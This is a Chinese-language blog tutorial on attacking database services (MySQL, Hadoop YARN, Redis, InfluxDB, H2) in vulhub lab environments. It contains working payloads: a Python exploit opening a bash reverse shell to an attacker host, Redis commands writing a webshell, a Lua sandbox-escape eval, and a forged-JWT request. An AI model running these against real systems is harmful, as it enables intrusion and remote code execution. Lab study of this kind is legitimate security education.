服务攻防-数据库安全
服务攻防-数据库安全
前置知识
常见服务应用的安全测试
- 配置不当-未授权访问
- 安全机制-特定安全漏洞
- 安全机制-弱口令爆破攻击
- 安全机制-特定框架漏洞
- 安全机制-特定中间件漏洞
应用服务安全测试流程
- 判断服务开放情况-端口扫描&组合应用等
- 端口扫描:使用诸如nmap等工具来进行扫描端口,探针服务。
- 如果服务开放,但是还是扫不到端口,可能会有如下情况:
- 服务器在内网,通过路由器的端口映射,只会将特定服务出网。
- 更改了默认端口。
- 存在诸如防火墙之类的安全防护。
- 如果服务开放,但是还是扫不到端口,可能会有如下情况:
- 组合猜解:通过猜解常用的组合来推测服务。例如,服务器使用php搭建Web站点,那么我们就可以推测php常见的中间件、数据库等搭配。
- 信息来源:通过报错等信息来查看服务的类型。
- 端口扫描:使用诸如nmap等工具来进行扫描端口,探针服务。
- 判断服务类型归属-数据库&文件传输&通讯&中间件&框架等
- 判断服务利用方式-特定漏洞&未授权&弱口令等
- 当你通过信息打点探测到某服务器存在某些中间件、框架等时,你可以从网上搜索特定的漏洞,来判断是否存在该漏洞(版本是否符合等)。
- 如果存在,那么首先考虑该漏洞会给我们带来什么,利用条件是否苛刻,在黑盒测试下是否容易利用?复现方式是否简单等等。
- 上述问题考虑之后,再考虑是否存在脚本(从github等寻找),如果没有再考虑手工复现。
- 先会利用思路,再考虑原理问题。
Mysql-未授权访问-CVE-2012-2122利用
介绍
复现
使用vulhub来进行测试,关于vulhub的搭建,这里不再赘述。
使用如下命令进行测试(需要在服务器上安装mysql):
//mysql端口3306
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
mysql解决root用户只允许本地登录的情况
mysql默认配置本地登录root用户,也就是说远程的连接请求是拒绝的。
那么,如果对方服务器上安装了phpmyadmin,我们可以借助其进行猜解。
phpmyadmin是第三方的数据库管理应用,如果可以猜解到,那么可以使用phpmyadmin登录mysql数据库,这个数据发送是由本地到本地的过程,所以可以进行测试。
Hadoop YARN ResourceManager 未授权访问
Hadoop常用端口号
介绍
复现
这里采用vulhub来进行复现。
http://your-ip:8088
显示这个页面,代表存在漏洞。
直接使用exp脚本
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # 反弹shell的机器
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
拿到了shell。
Redis未授权访问-Webshell&定时任务&密钥&RCE等
Redis未授权访问:https://www.freebuf.com/vuls/349094.html
Redis安装:
https://blog.csdn.net/wysmh520/article/details/112561481
Redis未授权访问
在redis的主配置文件中(/etc/redis/redis.conf),有一个配置选项:
bind 127.0.0.1 ::1 //该选项开启,表示redis只允许本地连接
protected-mode yes //该选项开启,表示redis开启安全模式
requirepass password //该选项开启,表示redis启用密码验证(密码为password)
如果redis允许外部主机连接、未开启安全模式、未启用密码验证,那么就会导致未授权访问。
redis-cli -h target-ip //尝试使用redis-cli远程连接该主机
info //如果有信息返回,那么正确
注:一定要保证redis是以root用户启动的。查看方式如下:
写入Webshell
如果redis在未授权访问的基础上,我们可以往其写入webshell。
利用条件:需要知道Web目录,且Web目录权限是可读写。
config set dir /tmp # 设置WEB写入目录
config set dbfilename 1.php # 设置写入的文件名
set test "<?php phpinfo();?>" # 设置后门文件代码
save # 保存执行
写定时任务反弹shell
写入Linux ssh-key 公钥
Redis主从复制导致的命令执行
介绍:https://github.com/vulhub/vulhub/blob/master/redis/4-unacc/README.zh-cn.md
使用如下命令:
redis-cli -h your-ip
发现可以连接,并可以执行命令。说明存在未授权访问漏洞。
下载该脚本,并按照官方文档操作:https://github.com/vulhub/redis-rogue-getshell
执行如下命令:
//执行系统命令id
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
沙箱绕过RCE CVE-2022-0543
介绍:
https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
使用如下命令:
redis-cli -h your-ip
发现可以连接,并可以执行命令。说明存在未授权访问漏洞。
在vulhub这个靶场中,执行如下命令(该命令的作用是执行Linux下的id命令):
//连接redis的基础下,执行如下命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
influxDB-未授权访问-Jwt验证不当
默认端口
8086 8088
介绍
influxDB是一款著名的时序数据库,其使用jwt作为鉴权模式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
一篇文章:https://github.com/vulhub/vulhub/blob/master/influxdb/CVE-2019-20933/README.zh-cn.md
复现
这里采用vulhub来进行复现。
发送如下数据包:
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users
H2database-未授权访问-配置不当
默认端口
20051
介绍
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
JNDI小工具:https://github.com/welk1n/JNDI-injection-Exploit
一篇文章:https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md
复现
这里我们采用vulhub来进行复现。
CouchDB
CouchDB 垂直权限绕过漏洞
一篇文章:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/
CouchDB 任意命令执行漏洞
一篇文章:
https://vulhub.org/#/environments/couchdb/CVE-2017-12636/
ElasticSearch
Elasticsearch写入webshell漏洞(WooYun-2015-110216)
https://vulhub.org/#/environments/elasticsearch/WooYun-2015-110216/
ElasticSearch 命令执行漏洞(CVE-2014-3120)
https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/
致谢
https://www.bilibili.com/video/BV1pQ4y1s7kH/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click
免责声明
本博客中的内容仅供学习之用,不用于商业用途,也不可以用于任何非法用途,否则后果自负,本人不承担任何责任!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?